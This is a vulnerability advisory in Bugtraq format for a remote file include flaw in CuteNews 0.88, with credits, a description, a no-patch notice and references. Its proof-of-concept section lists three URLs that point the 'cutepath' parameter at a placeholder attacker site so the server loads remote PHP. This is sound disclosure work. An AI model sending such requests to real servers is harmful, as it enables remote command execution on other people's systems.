CuteNews Remote File Include Vulnerability

Bugtraq ID:	6935
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 25 2003 12:00AM
Updated:	Feb 25 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to "Over_G" <[email protected]>.
Vulnerable:	CutePHP CuteNews 0.88
Not Vulnerable:

CuteNews Remote File Include Vulnerability

CuteNews is prone to an issue that may allow remote attackers to include files located on remote servers.

Under some circumstances, it is possible for remote attackers to influence the include path for several include files to point to an external file on a remote server.

If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server.

CuteNews Remote File Include Vulnerability

The following proof of examples were provided:

http://www.example.com/cutenews/shownews.php?cutepath=http://<attacker_site>/config.php
http://www.example.com/cutenews/search.php?cutepath=http://<attacker_site>/config.php
http://www.example.com/cutenews/comments.php?cutepath=http://<attacker_site>/config.php

An example of a malicious 'config.php' script (cutenews_exploit.php) was provided by Steve Grubb <[email protected]>:

• /data/vulnerabilities/exploits/cutenews_exploit.php

CuteNews Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

CuteNews Remote File Include Vulnerability

References:

• CuteNews Home Page (CutePHP)
  
• PHP code injection in CuteNews ("Over_G" )
  
• Re: PHP code injection in CuteNews (Steve Grubb )